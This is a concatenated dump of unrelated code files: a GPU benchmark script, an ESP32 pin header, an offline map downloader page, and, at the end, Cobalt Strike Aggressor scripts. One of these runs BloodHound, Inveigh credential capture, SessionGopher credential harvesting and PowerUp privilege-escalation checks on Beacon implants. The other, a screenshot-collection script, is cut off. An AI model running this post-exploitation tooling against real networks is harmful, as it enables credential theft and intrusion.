help='Name or path of the tokenizer. If not set, using the model '
'conf.',
)
parser.add_argument(
'--num-prompts',
type=int,
default=1000,
help='Number of prompts to process. Default is 1000.',
)
parser.add_argument(
'--sharegpt-output-len',
type=int,
default=None,
help='Output length for each request. Overrides the output length '
'from the ShareGPT dataset.',
)
parser.add_argument(
'--random-input-len',
type=int,
help='Number of input tokens per request, used only for random '
'dataset.',
)
parser.add_argument(
'--random-output-len',
type=int,
help='Number of output tokens per request, used only for random '
'dataset.',
)
parser.add_argument(
'--random-range-ratio',
type=float,
default=0.0,
help='Range of sampled ratio of input/output length, '
'used only for random dataset.',
)
parser.add_argument(
'--request-rate',
type=float,
default=float('inf'),
help='Number of requests per second. If this is inf, then all the '
'requests are sent at time 0. Otherwise, we use Poisson process to '
'synthesize the request arrival times. Default is inf.',
)
parser.add_argument('--seed', type=int, default=1, help='The random seed.')
parser.add_argument(
'--multi',
action='store_true',
help='Use request rate range rather than single value.',
)
parser.add_argument(
'--request-rate-range',
type=str,
default='2,34,2',
help='Range of request rates in the format start,stop,step. Default '
'is 2,34,2. It also supports a list of request rates, requiring '
'the parameters to not equal three.',
)
parser.add_argument('--output-file', type=str, help='Output JSONL file name.')
parser.add_argument(
'--disable-tqdm',
action='store_true',
help='Specify to disable tqdm progress bar.',
)
parser.add_argument(
'--disable-stream',
action='store_true',
help='Disable streaming mode.',
)
parser.add_argument(
'--disable-ignore-eos',
action='store_true',
help='Disable ignoring EOS.',
)
parser.add_argument(
'--extra-request-body',
metavar='{"key1": "value1", "key2": "value2"}',
type=str,
help='Append given JSON object to the request payload. You can use '
'this to specify additional generate params like sampling params.',
)
args = parser.parse_args()
run_benchmark(args) | 39,836 | benchmark | py | en | python | code | {"qsc_code_num_words": 4797, "qsc_code_num_chars": 39836.0, "qsc_code_mean_word_length": 4.87325412, "qsc_code_frac_words_unique": 0.12111737, "qsc_code_frac_chars_top_2grams": 0.02001968, "qsc_code_frac_chars_top_3grams": 0.01916414, "qsc_code_frac_chars_top_4grams": 0.00705822, "qsc_code_frac_chars_dupe_5grams": 0.45643154, "qsc_code_frac_chars_dupe_6grams": 0.38811652, "qsc_code_frac_chars_dupe_7grams": 0.32861359, "qsc_code_frac_chars_dupe_8grams": 0.2852804, "qsc_code_frac_chars_dupe_9grams": 0.2673568, "qsc_code_frac_chars_dupe_10grams": 0.25683364, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02026672, "qsc_code_frac_chars_whitespace": 0.28283462, "qsc_code_size_file_byte": 39836.0, "qsc_code_num_lines": 1051.0, "qsc_code_num_chars_line_max": 182.0, "qsc_code_num_chars_line_mean": 37.90294957, "qsc_code_frac_chars_alphabet": 0.79799783, "qsc_code_frac_chars_comments": 0.07322522, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.36811254, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00234467, "qsc_code_frac_chars_string_length": 0.16851706, "qsc_code_frac_chars_long_word_length": 0.01490268, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00095147, "qsc_code_frac_lines_assert": 0.00468933, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.01289566, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.00234467, "qsc_codepython_frac_lines_import": 0.02696366, "qsc_codepython_frac_lines_simplefunc": 0.0011723329425556857, "qsc_codepython_score_lines_no_logic": 0.1066823, "qsc_codepython_frac_lines_print": 0.05158265} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32Berry | Arduino_IDE/0_UnitTest_LovyanGFX/utilities.h | /**
* @file utilities.h
* @author Lewis He (lewishe@outlook.com)
* @license MIT
* @copyright Copyright (c) 2023 Shenzhen Xin Yuan Electronic Technology Co., Ltd
* @date 2023-04-11
*
*/
#pragma once
//! The board peripheral power control pin needs to be set to HIGH when using the peripheral
#define BOARD_POWERON 10
#define BOARD_I2S_WS 5
#define BOARD_I2S_BCK 7
#define BOARD_I2S_DOUT 6
#define BOARD_I2C_SDA 18
#define BOARD_I2C_SCL 8
#define BOARD_BAT_ADC 4
#define BOARD_TOUCH_INT 16
#define BOARD_KEYBOARD_INT 46
#define BOARD_SDCARD_CS 39
#define BOARD_TFT_CS 12
#define RADIO_CS_PIN 9
#define BOARD_TFT_DC 11
#define BOARD_TFT_BACKLIGHT 42
#define BOARD_SPI_MOSI 41
#define BOARD_SPI_MISO 38
#define BOARD_SPI_SCK 40
#define BOARD_TBOX_G02 2
#define BOARD_TBOX_G01 3
#define BOARD_TBOX_G04 1
#define BOARD_TBOX_G03 15
#define BOARD_ES7210_MCLK 48
#define BOARD_ES7210_LRCK 21
#define BOARD_ES7210_SCK 47
#define BOARD_ES7210_DIN 14
#define RADIO_BUSY_PIN 13
#define RADIO_RST_PIN 17
#define RADIO_DIO1_PIN 45
#define BOARD_BOOT_PIN 0
#define BOARD_BL_PIN 42 | 1,248 | utilities | h | en | c | code | {"qsc_code_num_words": 193, "qsc_code_num_chars": 1248.0, "qsc_code_mean_word_length": 4.18134715, "qsc_code_frac_words_unique": 0.54404145, "qsc_code_frac_chars_top_2grams": 0.35439901, "qsc_code_frac_chars_top_3grams": 0.07434944, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.09924488, "qsc_code_frac_chars_whitespace": 0.25721154, "qsc_code_size_file_byte": 1248.0, "qsc_code_num_lines": 55.0, "qsc_code_num_chars_line_max": 93.0, "qsc_code_num_chars_line_mean": 22.69090909, "qsc_code_frac_chars_alphabet": 0.77130529, "qsc_code_frac_chars_comments": 0.24038462, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
00ffcc/chunkRWKV6 | benchmark.py | from chunk import chunkRWKV6,vanillaRWKV6,HEAD_SIZE
from einops import rearrange
from continous_chunk import continousChunkRWKV6
import time
import torch
import matplotlib.pyplot as plt
from fla.ops.rwkv6 import chunk_rwkv6
from torch.utils.cpp_extension import load
DEVICE="cuda:4"
def benchmark(T, chunk_size, dtype=torch.float32):
B, H = 1, 32
C = H*HEAD_SIZE
if chunk_size==-1:
r = torch.randn(B, T, C, device=DEVICE, dtype=dtype)
k = torch.randn(B, T, C, device=DEVICE, dtype=dtype)
v = torch.randn(B, T, C, device=DEVICE, dtype=dtype)
w = torch.randn(B, T, C, device=DEVICE, dtype=torch.float32)
u = torch.randn(C, device=DEVICE, dtype=torch.float32)
if chunk_size==-2:
r = torch.randn(B, H, T, HEAD_SIZE, device=DEVICE, dtype=dtype)
k = torch.randn(B, H, T, HEAD_SIZE, device=DEVICE, dtype=dtype)
v = torch.randn(B, H, T, HEAD_SIZE, device=DEVICE, dtype=dtype)
w = torch.randn(B, H, T, HEAD_SIZE, device=DEVICE, dtype=torch.float32)
u = torch.randn(H, HEAD_SIZE, device=DEVICE, dtype=torch.float32)
if chunk_size>0:
r = torch.randn(1, B*T, C, device=DEVICE, dtype=dtype)
k = torch.randn(1, B*T, C, device=DEVICE, dtype=dtype)
v = torch.randn(1, B*T, C, device=DEVICE, dtype=dtype)
w = torch.randn(1, B*T, C, device=DEVICE, dtype=torch.float32)
u = torch.randn(C, device=DEVICE, dtype=torch.float32)
seq_idx = torch.tensor([[i]*T for i in range(B)], device=DEVICE, dtype=torch.int32)
seq_idx = rearrange(seq_idx, "B T -> 1 (B T)")
state = torch.zeros(B, H, HEAD_SIZE, HEAD_SIZE, device=DEVICE, dtype=torch.float32)
st=0
num=20
for i in range(num):
torch.cuda.synchronize()
start = time.time()
if chunk_size==-2:
chunk_rwkv6(r,k,v,w,u)
elif chunk_size==-1:
y1 = vanillaRWKV6.apply(B, T, C, H, state, r, k, v, w, u)
else:
y2, state2 = continousChunkRWKV6.apply(B, T, C, H, state, r, k, v, w, u, seq_idx, HEAD_SIZE, chunk_size)
# y2, state2 = chunkRWKV6.apply(B, T, C, H, state, r, k, v, w, u, chunk_size) # TODO: ?为什么continous这么慢
torch.cuda.synchronize()
end = time.time()
if i!=0:
st+=end-start
# print(f"chunkRWKV6: {end - start}s")
return st/(num-1)
if __name__ == '__main__':
import os
dir_path = os.path.dirname(os.path.abspath(__file__))
if torch.version.cuda is not None:
continous_chunk_rwkv6 = load(name="continous_chunk_rwkv6", sources=[f"{dir_path}/cuda/continous_rwkv6_op.cpp", f"{dir_path}/cuda/continous_rwkv6.cu", f"{dir_path}/cuda/continous_inter.cu"], # cuda
verbose=True, extra_cuda_cflags=["-res-usage", "--use_fast_math", "-O3", "--extra-device-vectorization", f"-D_N_={HEAD_SIZE}", f"-D_T_={4096}"])
elif torch.version.hip is not None:
continous_chunk_rwkv6 = load(name="continous_chunk_rwkv6", sources=[f"{dir_path}/cuda/continous_rwkv6_op.cpp", f"{dir_path}/cuda/continous_rwkv6.cu", f"{dir_path}/cuda/continous_inter.cu"], # rocm
verbose=True, extra_cuda_cflags=["-O3", f"-D_N_={HEAD_SIZE}", f"-D_T_={4096}"])
else:
raise NotImplementedError("Only support CUDA and ROCm")
torch.cuda.set_device(DEVICE)
t=[ 32768, 65536, 98304, 131072, 163840]
for chunk_size in [2048, 4096, 8192, 16384, -1,-2]:
ti=[]
for T in t:
tt=benchmark(T, chunk_size, torch.bfloat16)
ti.append(tt)
print(f"chunk_size={chunk_size}, T={T}, time={tt}s")
if chunk_size == -2:
name = "fla chunk rwkv6(use triton)"
elif chunk_size == -1:
name = "vanilla"
else:
name = f"chunk_size={chunk_size}"
plt.plot(t, ti, label= name)
plt.xlabel("tokens")
plt.ylabel("operation time (s)")
plt.legend()
plt.show()
plt.savefig("1.png") | 3,964 | benchmark | py | en | python | code | {"qsc_code_num_words": 608, "qsc_code_num_chars": 3964.0, "qsc_code_mean_word_length": 3.90625, "qsc_code_frac_words_unique": 0.22368421, "qsc_code_frac_chars_top_2grams": 0.09094737, "qsc_code_frac_chars_top_3grams": 0.12168421, "qsc_code_frac_chars_top_4grams": 0.07578947, "qsc_code_frac_chars_dupe_5grams": 0.48884211, "qsc_code_frac_chars_dupe_6grams": 0.44884211, "qsc_code_frac_chars_dupe_7grams": 0.44884211, "qsc_code_frac_chars_dupe_8grams": 0.42989474, "qsc_code_frac_chars_dupe_9grams": 0.39747368, "qsc_code_frac_chars_dupe_10grams": 0.37768421, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03996069, "qsc_code_frac_chars_whitespace": 0.22981837, "qsc_code_size_file_byte": 3964.0, "qsc_code_num_lines": 83.0, "qsc_code_num_chars_line_max": 205.0, "qsc_code_num_chars_line_mean": 47.75903614, "qsc_code_frac_chars_alphabet": 0.73796266, "qsc_code_frac_chars_comments": 0.03683148, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.175, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.14503016, "qsc_code_frac_chars_long_word_length": 0.08628377, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01204819, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.0125, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.1125, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.1375, "qsc_codepython_frac_lines_print": 0.0125} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/OfflineMapDownloader | templates/index.html | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Offline Map Downloader</title>
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}">
<link rel="stylesheet" href="https://unpkg.com/leaflet/dist/leaflet.css" />
<link rel="stylesheet" href="https://unpkg.com/leaflet-draw/dist/leaflet.draw.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nouislider@15.6.1/dist/nouislider.min.css" />
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<div id="app-container">
<div id="map"></div>
<div id="overlay">
<h3>Offline Map Downloader</h3>
<label for="address">Search Address or ZIP:</label>
<input type="text" id="address" placeholder="Enter address or ZIP" />
<button id="search-btn">Go to Location</button>
<div><strong>Center:</strong> <span id="coords">-</span></div>
<div><strong>Zoom:</strong> <span id="zoom">-</span></div>
<label>Zoom Range: <span id="zoom-range-value">14 - 16</span></label>
<div id="zoom-slider" style="margin-bottom: 10px;"></div>
<label>Format:</label>
<label><input type="radio" name="format" value="zip" checked> ZIP</label>
<label><input type="radio" name="format" value="mbtiles"> MBTiles</label>
<label>Map Style:</label>
<select id="map-style">
<option value="map">Map</option>
<option value="satellite">Satellite</option>
</select>
<div id="prediction" style="font-size: 13px; color: #555; min-height: 20px;"></div>
<canvas id="tile-preview" width="280" height="180"
style="border-radius: 8px; margin-top: 10px; background: #f0f0f0;"></canvas>
<button id="download">Download Tiles</button>
<div id="status"></div>
</div>
</div>
<div id="loading-modal">
<div id="loading-content">
<div class="spinner"></div>
<p id="loading-status">Preparing download...</p>
</div>
</div>
<script src="https://unpkg.com/leaflet/dist/leaflet.js"></script>
<script src="https://unpkg.com/leaflet-draw/dist/leaflet.draw.js"></script>
<script src="https://cdn.jsdelivr.net/npm/nouislider@15.6.1/dist/nouislider.min.js"></script>
<script>
let currentMapStyle = "map";
const osmLayer = L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
maxZoom: 19,
attribution: '© OpenStreetMap contributors'
});
const satelliteLayer = L.tileLayer('https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}', {
maxZoom: 19,
attribution: 'Tiles © Esri'
});
const baseMaps = {
"Map": osmLayer,
"Satellite": satelliteLayer
};
const map = L.map('map', {
center: [37.7749, -122.4194],
zoom: 13,
layers: [osmLayer]
});
L.control.layers(baseMaps).addTo(map);
const drawnItems = new L.FeatureGroup();
map.addLayer(drawnItems);
const drawControl = new L.Control.Draw({
draw: {
polygon: false,
polyline: false,
circle: false,
marker: false,
circlemarker: false,
rectangle: true
},
edit: { featureGroup: drawnItems }
});
map.addControl(drawControl);
let selectedBounds = null;
map.on('draw:created', function (e) {
drawnItems.clearLayers();
drawnItems.addLayer(e.layer);
selectedBounds = e.layer.getBounds();
});
const coordsEl = document.getElementById("coords");
const zoomEl = document.getElementById("zoom");
function updateInfo() {
const center = map.getCenter();
coordsEl.textContent = `${center.lat.toFixed(5)}, ${center.lng.toFixed(5)}`;
zoomEl.textContent = map.getZoom();
}
map.on("move zoom", updateInfo);
updateInfo();
const zoomSlider = document.getElementById("zoom-slider");
const zoomRangeValue = document.getElementById("zoom-range-value");
noUiSlider.create(zoomSlider, {
start: [14, 16],
connect: true,
range: { min: 10, max: 19 },
step: 1,
tooltips: true,
format: {
to: value => Math.round(value),
from: value => Math.round(value)
}
});
zoomSlider.noUiSlider.on('update', function (values) {
zoomRangeValue.textContent = `${values[0]} - ${values[1]}`;
});
async function updateTilePrediction() {
const predictionEl = document.getElementById("prediction");
if (!selectedBounds) {
predictionEl.textContent = "";
return;
}
const [zmin, zmax] = zoomSlider.noUiSlider.get().map(v => parseInt(v));
const zoomLevels = [];
for (let z = zmin; z <= zmax; z++) zoomLevels.push(z);
const data = {
bounds: {
north: selectedBounds.getNorth(),
south: selectedBounds.getSouth(),
east: selectedBounds.getEast(),
west: selectedBounds.getWest()
},
zoom_levels: zoomLevels
};
try {
const res = await fetch("/preview_tile_count", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(data)
});
const result = await res.json();
if (result.error) {
predictionEl.textContent = result.error;
predictionEl.style.color = "red";
} else {
predictionEl.textContent = `Estimated tile count: ${result.tile_count}`;
predictionEl.style.color = "#555";
}
} catch (err) {
predictionEl.textContent = "Prediction failed.";
predictionEl.style.color = "red";
}
}
async function updateTilePreview() {
const canvas = document.getElementById("tile-preview");
const ctx = canvas.getContext("2d");
ctx.clearRect(0, 0, canvas.width, canvas.height);
if (!selectedBounds) return;
const TILE_SIZE = 256;
const TILE_MARGIN = 0;
const zoomSlider = document.getElementById("zoom-slider");
const zoom = parseInt(zoomSlider.noUiSlider.get()[1]);
const [x1, y1] = deg2num(selectedBounds.getNorth(), selectedBounds.getWest(), zoom);
const [x2, y2] = deg2num(selectedBounds.getSouth(), selectedBounds.getEast(), zoom);
const x_min = Math.min(x1, x2) - TILE_MARGIN;
const x_max = Math.max(x1, x2) + TILE_MARGIN;
const y_min = Math.min(y1, y2) - TILE_MARGIN;
const y_max = Math.max(y1, y2) + TILE_MARGIN;
const tileCols = x_max - x_min + 1;
const tileRows = y_max - y_min + 1;
const previewTileWidth = tileCols * TILE_SIZE;
const previewTileHeight = tileRows * TILE_SIZE;
const scale = Math.min(canvas.width / previewTileWidth, canvas.height / previewTileHeight);
const totalWidth = previewTileWidth * scale;
const totalHeight = previewTileHeight * scale;
const offsetX = (canvas.width - totalWidth) / 2;
const offsetY = (canvas.height - totalHeight) / 2;
for (let x = x_min; x <= x_max; x++) {
for (let y = y_min; y <= y_max; y++) {
const img = new Image();
img.crossOrigin = "anonymous";
img.onload = () => {
const dx = offsetX + (x - x_min) * TILE_SIZE * scale;
const dy = offsetY + (y - y_min) * TILE_SIZE * scale;
ctx.drawImage(img, dx, dy, TILE_SIZE * scale, TILE_SIZE * scale);
};
img.src = currentMapStyle === "map"
? `https://tile.openstreetmap.org/${zoom}/${x}/${y}.png`
: `https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/${zoom}/${y}/${x}`;
}
}
}
function deg2num(lat, lon, zoom) {
const latRad = lat * Math.PI / 180;
const n = 2 ** zoom;
const x = Math.floor((lon + 180) / 360 * n);
const y = Math.floor((1 - Math.log(Math.tan(latRad) + 1 / Math.cos(latRad)) / Math.PI) / 2 * n);
return [x, y];
}
map.on('draw:created', () => {
updateTilePrediction();
updateTilePreview();
});
map.on('baselayerchange', function (e) {
if (e.name === "Map") {
currentMapStyle = "map";
styleSelector.value = "map";
} else if (e.name === "Satellite") {
currentMapStyle = "satellite";
styleSelector.value = "satellite";
}
updateTilePreview();
});
zoomSlider.noUiSlider.on('update', () => {
updateTilePrediction();
updateTilePreview();
});
const styleSelector = document.getElementById("map-style");
styleSelector.addEventListener("change", () => {
const style = styleSelector.value;
currentMapStyle = style;
if (style === "map") {
map.removeLayer(satelliteLayer);
map.addLayer(osmLayer);
} else {
map.removeLayer(osmLayer);
map.addLayer(satelliteLayer);
}
updateTilePreview();
});
document.getElementById("search-btn").addEventListener("click", async () => {
const query = document.getElementById("address").value.trim();
if (!query) return;
try {
const res = await fetch(`https://nominatim.openstreetmap.org/search?format=json&q=${encodeURIComponent(query)}`);
const results = await res.json();
if (results.length > 0) {
const lat = parseFloat(results[0].lat);
const lon = parseFloat(results[0].lon);
map.setView([lat, lon], 15);
} else {
alert("Location not found.");
}
} catch (err) {
console.error("Geocoding failed:", err);
alert("Failed to fetch location.");
}
});
document.getElementById("download").addEventListener("click", async () => {
const statusEl = document.getElementById("status");
const [zmin, zmax] = zoomSlider.noUiSlider.get().map(v => parseInt(v));
const format = document.querySelector('input[name="format"]:checked').value;
if (!selectedBounds) {
statusEl.textContent = "Please draw a rectangle to select an area.";
statusEl.style.color = "red";
return;
}
const zoomLevels = [];
for (let z = zmin; z <= zmax; z++) zoomLevels.push(z);
const data = {
bounds: {
north: selectedBounds.getNorth(),
south: selectedBounds.getSouth(),
east: selectedBounds.getEast(),
west: selectedBounds.getWest()
},
zoom_levels: zoomLevels,
format: format,
map_style: currentMapStyle
};
try {
statusEl.textContent = "Calculating tile count...";
const preview = await fetch("/preview_tile_count", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(data)
});
const { tile_count, error } = await preview.json();
if (error) {
statusEl.textContent = error;
statusEl.style.color = "red";
return;
}
document.getElementById("loading-modal").style.display = "flex";
document.getElementById("loading-status").textContent = "Preparing download...";
statusEl.textContent = `Starting download of ${tile_count} tiles...`;
const job = await fetch("/download_tiles", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(data)
});
const { job_id } = await job.json();
const evtSource = new EventSource(`/progress/${job_id}`);
evtSource.onmessage = function (e) {
const msg = e.data;
if (msg === "error") {
statusEl.textContent = "An error occurred.";
statusEl.style.color = "red";
evtSource.close();
return;
}
const [done, total] = msg.split(" / ").map(Number);
statusEl.textContent = `Progress: ${done} / ${total}`;
document.getElementById("loading-status").textContent = `Downloading: ${done} / ${total}`;
if (done >= total) {
evtSource.close();
setTimeout(() => {
statusEl.textContent = "Download ready...";
document.getElementById("loading-modal").style.display = "none";
window.location.href = `/get_file/${job_id}`;
}, 500);
}
};
} catch (err) {
console.error(err);
statusEl.textContent = "Download failed.";
statusEl.style.color = "red";
}
});
</script>
</body>
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001SPARTaN/aggressor_scripts | powershell.cna | # This Aggressor script loads some commonly used PowerShell tools, and adds menu bindings
# 001SPARTaN
#### RECON
## BloodHound
# Run BloodHound with default settings
sub bloodhound {
bpowershell_import($1, script_resource("scripts/BloodHound.ps1")); # Change path to suit
bcd($1, "C:\\Temp");
bpowershell($1, "Invoke-BloodHound");
}
# Collect only sessions
sub bloodhoundSessionsOnly {
bpowershell_import($1, script_resource("scripts/BloodHound.ps1"));
bcd($1, "C:\\Temp");
bpowershell($1, "Invoke-BloodHound -CollectionMethod Session");
}
# Alias to run BloodHound from Beacon quickly
alias bloodhound {
bloodhound($1);
}
# Alias to run BloodHound session collection
alias bloodhound_sessions {
sessionsOnly($1);
}
## Inveigh
# Run Invoke-Inveigh for 60 minutes
sub inveigh {
local('$bid');
$bid = $1;
bpowershell_import($bid, script_resource("scripts/Inveigh.ps1"));
bcd($bid, "C:\\Temp");
bpowershell($bid, "Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -RunTime 60");
}
alias inveigh {
inveigh($1);
}
sub sessionGopher {
local('$bid');
$bid = $1;
bpowershell_import($bid, script_resource("scripts/SessionGopher.ps1"));
bcd($bid, "C:\\Temp");
bpowershell($bid, "Invoke-SessionGopher -o");
}
alias session_gopher {
session_gopher($1);
}
#### PRIVESC
# Run PowerUp Invoke-AllChecks
sub powerup {
bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
bpowershell($1, "Invoke-AllChecks");
}
alias powerup {
powerup($1);
}
# Add bindings to Beacon menu
popup beacon_bottom {
menu "P&owershell" {
menu "&Recon" {
item "BloodHound" {
local('$bid');
foreach $bid ($1) {
bloodhound ($bid);
}
}
item "BloodHound (Sessions)" {
local('$bid');
foreach $bid ($1) {
bloodhoundSessionsOnly($bid);
}
}
separator();
item "Inveigh" {
local('$bid');
foreach $bid ($1) {
inveigh($bid);
}
}
separator();
item "SessionGopher" {
local ('$bid');
foreach $bid ($1) {
sessionGopher($bid)
}
}
}
menu "&PrivEsc" {
item "PowerUp" {
local ('$bid');
foreach $bid ($1) {
powerup($bid);
}
}
}
}
}
| 2,607 | powershell | cna | en | unknown | unknown | {} | 0 | {} |
001SPARTaN/aggressor_scripts | download_screenshots.cna | # Grab all screenshots and download
# 001SPARTaN
sub getScreenshots {
# Iterate through screenshots
foreach %s (screenshots()) {
# Each screenshot is stored as
# %(data => <BINARY DATA>, bid => <BID>, when => <TIMESTAMP>)
$bid = %s['bid'];
# Pull computer name, timestamp so we can name files appropriately
$computer = binfo($bid, "computer");
$timestamp = %s['when'];
# Pull data so that we can write to file
$data = %s['data'];
# Filename is COMPUTERNAME_TIMESTAMP.jpg
$fname = $computer . "_" . $timestamp . ".jpg";
# Open file for writing as $handle
